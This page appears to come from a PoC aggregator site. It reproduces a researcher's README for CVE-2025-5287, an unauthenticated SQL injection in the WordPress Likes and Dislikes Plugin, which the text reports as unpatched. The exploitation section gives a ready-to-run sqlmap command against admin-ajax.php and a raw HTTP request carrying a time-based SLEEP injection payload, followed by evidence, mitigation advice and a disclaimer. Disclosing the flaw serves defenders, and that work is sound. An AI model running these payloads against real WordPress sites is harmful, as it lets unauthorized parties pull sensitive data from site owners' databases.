Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2025-5287 PoC — Likes and Dislikes Plugin <= 1.0.0 - Unauthenticated SQL Injection

Source
Associated Vulnerability
Title: Likes and Dislikes Plugin <= 1.0.0 - Unauthenticated SQL Injection (CVE-2025-5287)
Description:The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Description
 WordPress Likes and Dislikes Plugin <= 1.0.0 is vulnerable to SQL Injection 
Readme

# 🔥 WordPress Likes and Dislikes Plugin ≤ 1.0.0 - Unauthenticated SQL Injection

## 🧠 CVE ID: CVE-2025-5287
> **Discovered by:** Khaled_Alenazi (Nxploited)  
> **Published on:** 27 May, 2025

---

## 📋 Description

The **Likes and Dislikes Plugin** for WordPress is vulnerable to **SQL Injection** through the `post` parameter in all versions **up to and including 1.0.0**.  
Due to **insufficient escaping** and lack of prepared statements, unauthenticated attackers can inject raw SQL into backend queries, leading to **data leakage or manipulation**.

---

## 🧬 Technical Details

- **Vulnerable Parameter:** `post`
- **Vulnerability Type:** SQL Injection (Boolean-based and Time-based)
- **HTTP Method:** POST
- **Affected Endpoint:** `/wp-admin/admin-ajax.php`
- **Patch Status:** ❌ Not Fixed
- **Required Privileges:** None (Unauthenticated)
- **CVSS Score:** 9.3 (High)
- **OWASP Top 10:** A1 - Injection

---

## 💥 Exploitation

### ✅ SQLMap Command (Time-based Blind SQLi):
```bash
sqlmap -u "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=my_likes_dislikes_action&post=1&state=like" \
--method POST --risk 3 --level 5 --batch --time-sec=5 --dbs
```
> This command confirms the injection point and enumerates databases using a time-based technique.

### 🧪 POC Payload (Manual - Time-based):
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: nxploit.ddev.site
Content-Type: application/x-www-form-urlencoded
Connection: close

action=my_likes_dislikes_action&post=1 AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a)&state=like
```

---

## 🧪 Evidence Summary

1. **SQLMap Enumeration:**
   - Detected `boolean-based blind` and `time-based blind` SQLi.
   - Confirmed backend is **MySQL**.
   - Enumerated databases: `db`, `test`, `information_schema`.

   ![SQLMap Proof](https://github.com/Nxploited/CVE-2025-5287/blob/main/sqlmap_result.png)

2. **Manual Verification with Burp Suite:**
   - HTTP response delay confirmed via time-based payload.
   - Delay exceeded `15 seconds`, indicating true injection.

   ![Burp Suite Proof](https://github.com/Nxploited/CVE-2025-5287/blob/main/burp_proof.png)

---

## ⚠️ Risks

- **CVSS Severity:** 9.3 (High)
- This vulnerability can be used to extract sensitive data without authentication.

---

## 🔗 References

- https://patchstack.com/database/wordpress/plugin/inprosysmedia-likes-dislikes-post/vulnerability/wordpress-likes-and-dislikes-plugin-plugin-1-0-0-unauthenticated-sql-injection-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2025-5287

---

## 🛡️ Recommendations

- Immediately sanitize and parameterize input from `post`.
- Use **prepared statements**.
- Implement **WAF** and **rate-limiting** to reduce brute-force injection attempts.

---

## ⚠️ Disclaimer

This content is provided for **educational and research purposes** only.  
The author does **not condone** malicious activity or exploitation of systems without **explicit authorization**.

---

## 👤 Author

**Khaled_Alenazi (Nxploited)**


File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →